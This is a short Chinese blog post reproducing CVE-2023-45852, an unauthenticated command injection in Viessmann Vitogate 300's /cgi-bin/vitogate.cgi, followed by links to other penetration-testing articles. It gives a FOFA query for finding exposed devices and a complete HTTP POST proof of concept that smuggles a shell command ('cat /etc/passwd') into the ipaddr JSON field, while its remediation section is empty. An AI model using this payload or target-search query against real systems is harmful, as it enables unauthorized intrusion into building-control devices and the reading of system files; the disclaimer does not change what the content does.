【漏洞复现】Viessmann Vitogate远程代码执行(CVE-2023-45852)

漏洞描述

Vitogate 300 2.1.3.0版本的/cgi-bin/vitogate.cgi存在一个未经身份验证的攻击者可利用的漏洞,通过put方法中的ipaddr params JSON数据中的shell元字符实现绕过身份验证并执行任意命令。

免责声明

技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!

资产确定

fofa:"Vitogate 300"

漏洞复现

利用如下POC进行POST请求查看passwd文件

复制代码
POST /cgi-bin/vitogate.cgi HTTP/1.1
Host: {{Hostname}}
Content-Length: 76
Content-Type: application/json


{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"1;cat /etc/passwd"}}

修复方案

相关推荐
go_to_hacker1 天前
安恒web安全春招实战
安全·web安全·网络安全·渗透测试
网络安全工程师老王1 天前
Java Agent 注入 WebSocket 篇
websocket·网络安全·信息安全·渗透测试
bl4ckpe4ch3 天前
【漏洞复现】Struts2系列
网络安全·漏洞复现
bl4ckpe4ch4 天前
【漏洞复现】CVE-2024-38856(ApacheOfbiz RCE)
网络安全·漏洞复现
NPE~4 天前
[渗透测试]渗透测试靶场docker搭建 — —全集
网络安全·docker·容器·渗透测试·渗透靶场
vortex56 天前
详解反射型 XSS 的后续利用方式:从基础窃取到高级组合拳攻击链
前端·网络·网络安全·渗透测试·xss
RLG_星辰6 天前
jangow靶机笔记(Vulnhub)
笔记·网络安全·渗透测试·vulnhub
mingzhi619 天前
绿盟二面面试题
android·web安全·渗透测试
RLG_星辰10 天前
prime-2 靶场笔记(vuInhub靶场)
linux·笔记·网络安全·渗透测试·权限维持·smb协议·lxd提权
H轨迹H17 天前
HTB-UnderPass
网络安全·渗透测试·hack the box·web漏洞·oscp